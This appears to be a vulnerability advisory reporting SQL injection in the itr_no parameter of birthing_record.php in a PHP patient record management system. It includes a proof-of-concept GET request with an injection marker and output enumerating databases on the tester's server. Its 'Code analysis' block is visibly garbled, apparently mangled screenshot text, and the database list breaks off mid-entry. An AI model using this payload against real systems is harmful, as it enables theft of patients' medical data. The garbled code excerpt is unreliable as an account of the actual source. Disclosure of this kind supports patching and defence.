# patient-record-management-system-inphp has sql injection in birthing\_record.php

## supplier

https://code-projects.org/patient-record-management-system-in-php-with-source-code/#google\_vignette

## **Vulnerability parameter**

birthing\_record.php

#### describe

An unrestricted SQL injection attack exists in patient-record-management-system-in-php in birthing\_record.php. The parameters that can be controlled are as follows: <code>\$itr\_no</code>. This function executes the <code>\$itr\_no</code> parameter into the SQL statement without any restrictions. A malicious attacker could exploit this vulnerability to obtain sensitive information in the server database.

### **Code analysis**

When the value of <code>\$itr\_no</code> parameter is obtained in birthing\_record.php , it will be concatenated into SQL statements and executed, which has a SOL injection vulnerability.

```
## birthing_record.php X

Health Care Patient Record Management System > ## birthing_record.php

(th)Date
(th)Date
(th)Staff
(tr)Or die(mysqli_error());

for a $conn->query("SELECT * FROM `birthing` WHERE `itr_no` = '$f2[itr_no]'") or die(mysqli_error());

while($f = $q.->fetch_array()){

th)Staff
(tr)Staff
(th)Staff
(t
```

#### POC

```
GET /birthing_record.php?itr_no=3* HTTP/1.1

Host: healthcarepatientrecordmanagementsystem

User-Agent: Mozilla/5.0 (windows NT 10.0; win64; x64; rv:136.0) Gecko/20100101

Firefox/136.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-us;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br

Connection: close

Cookie: PHPSESSID=apub8ggoc8757fma1n9sbu6ca1

Upgrade-Insecure-Requests: 1

Priority:u=0, i
```

#### Result

```
available databases [41]:
[*] 'security'
[*] bloodbank
[*] challenges
[*] cltphp_show
[*] crud
[*] dedecmsv57utf8_115
[*] dedecmsv57utf8sp2
[*] dvwa
[*] easyweb
[*] ecms
[*] ecms4
[*] empirecms
[*] farmacia
[*] fastadmin
[*] forcms
[*] healthcare
[*] hostel
[*] imperial_college
[*] information_schema
[*] mysql
[*] ofcms
[*] online_health_care
[*] owlphin
[*] performance_schema
[*] project
[*] rockxinhu
[*] ry
[*] seacms
[*] sec sal
```